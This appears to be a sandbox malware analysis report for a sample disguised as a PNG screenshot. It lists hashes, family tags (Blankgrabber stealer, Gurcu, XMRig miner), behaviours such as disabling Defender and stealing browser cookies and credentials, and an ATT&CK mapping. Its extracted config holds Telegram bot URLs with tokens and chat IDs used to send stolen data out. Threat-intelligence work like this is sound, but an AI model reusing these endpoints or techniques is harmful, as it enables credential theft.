General
- Target Screenshot 2025-08-29 at 15-15-43 Stitch - Projects.png
- Size 37KB
- Sample250902-maxrsstwft
- SHA256 c94e908cf7bc52a054f2996153ceb7a237e94a3dd6adaac68ce144d1140c0502
- MD5 9c6cd8e6479a8703e913b340fa5344f3
- SHA1 f4fe5ef3bea03348e0d1c03c4163af7f899f946c
- SHA512 5310ed2103b49ab343c3a9f673c86dcf1a501e5a92031096d05f3f3432fa0d73586ea1a2aea6a87ff97da4b5ceb0977a3511340d1719a5d0a7670c4b38c0cd85
- SSDEEP 768:lZjekxEKptDZ8QnMdTEyhnXdPFQfQo1FAWx6JvPec5Huai:nj/Ekl6dRBGfQo1Fzx6JlHut
- MD5 SHA1 SHA512 SSDEEP
Static task
static1
Behavioral task
behavioral1
Sample
Screenshot 2025-08-29 at 15-15-43 Stitch - Projects.png
Resource
win10ltsc2021-20250610-en
Malware Config
Extracted
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gurcu
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https://api.telegram.org/bot8481004479:AAGqPDdfK61k357MpdMkeMBYQAq5c_cEVLY/getM
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https://api.telegram.org/bot8162817181:AAHSV2D0mTYwtNz7JyPSwJL8Z5Ug1bpzILw/getM
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https://api.telegram.org/bot8341705913:AAHfJWn779AY-eJfupJceEa_gHKavsvIVOU/getM
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https://api.telegram.org/bot7879460715:AAFxeeyD6xxE_cpuTQnIRZ7Qwr34CKSfxoM/getM
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https://api.telegram.org/bot7879460715:AAFxeeyD6xxE_cpuTQnIRZ7Qwr34CKSfxoM/sendDocument?chat_id=7848641603&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies%20%287.49%20kb%2
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https://api.telegram.org/bot7879460715:AAFxeeyD6xxE_cpuTQnIRZ7Qwr34CKSfxoM/getUpdates?offset=-
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https://api.telegram.org/bot8162817181:AAHSV2D0mTYwtNz7JyPSwJL8Z5Ug1bpzILw/sendMessage?chat_id=8341849344
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https://api.telegram.org/bot8162817181:AAHSV2D0mTYwtNz7JyPSwJL8Z5Ug1bpzILw/getUpdates?offset=-
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https://api.telegram.org/bot8162817181:AAHSV2D0mTYwtNz7JyPSwJL8Z5Ug1bpzILw/deleteWebhoo
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https://api.telegram.org/bot8299752296:AAGCUbUU2BfgOetN7WS0ZxSZQpwV_I6BRNE/getM
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https://api.telegram.org/bot8341705913:AAHfJWn779AY-eJfupJceEa_gHKavsvIVOU/sendMessage?chat_id=-4822898188
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https://api.telegram.org/bot8299752296:AAGCUbUU2BfgOetN7WS0ZxSZQpwV_I6BRNE/sendMessage?chat_id=7848641603
Targets
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- Target Screenshot 2025-08-29 at 15-15-43 Stitch - Projects.png
- Size 37KB
- SHA256 c94e908cf7bc52a054f2996153ceb7a237e94a3dd6adaac68ce144d1140c0502
- MD5 9c6cd8e6479a8703e913b340fa5344f3
- SHA1 f4fe5ef3bea03348e0d1c03c4163af7f899f946c
- SHA512 5310ed2103b49ab343c3a9f673c86dcf1a501e5a92031096d05f3f3432fa0d73586ea1a2aea6a87ff97da4b5ceb0977a3511340d1719a5d0a7670c4b38c0cd85
- SSDEEP 768:lZjekxEKptDZ8QnMdTEyhnXdPFQfQo1FAWx6JvPec5Huai:nj/Ekl6dRBGfQo1Fzx6JlHut
- MD5 SHA1 SHA512 SSDEEP
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A stealer written in Python and packaged with Pyinstaller
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Blankgrabber family
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Deletes Windows Defender Definitions
Uses mpcmdrun utility to delete all AV definitions.
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Gurcu family
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Xmrig family
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blankgrabber
Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.
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XMRig Miner payload
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Badlisted process makes network request
Network request originating from process or tool commonly abused by malware.
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Command and Scripting Interpreter: PowerShell
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
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Downloads MZ/PE file
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Drops file in Drivers directory
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Uses browser remote debugging
Can be used control the browser and steal sensitive information such as credentials and session cookies.
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Checks computer location settings
Looks up country code configured in the registry, likely geofence.
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Clipboard Data
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
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Drops startup file
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Executes dropped EXE
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Loads dropped DLL
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Unsecured Credentials: Credentials In Files
Steal credentials from unsecured files.
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Accesses cryptocurrency files/wallets, possible credential harvesting
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Adds Run key to start application
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Drops desktop.ini file(s)
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Legitimate hosting services abused for malware hosting/C2
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Looks up external IP address via web service
Uses a legitimate IP lookup service to find the infected system's external IP.
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Obfuscated Files or Information: Command Obfuscation
Adversaries may obfuscate content during command execution to impede detection.
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Enumerates processes with tasklist
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Modify Authentication Process
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
1Modify Authentication Process
1Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Modify Authentication Process
1Steal Web Session Cookie
1Unsecured Credentials
3Credentials In Files
3Discovery
Browser Information Discovery
1Peripheral Device Discovery
1Process Discovery
1Query Registry
5System Information Discovery
7System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Wi-Fi Discovery
1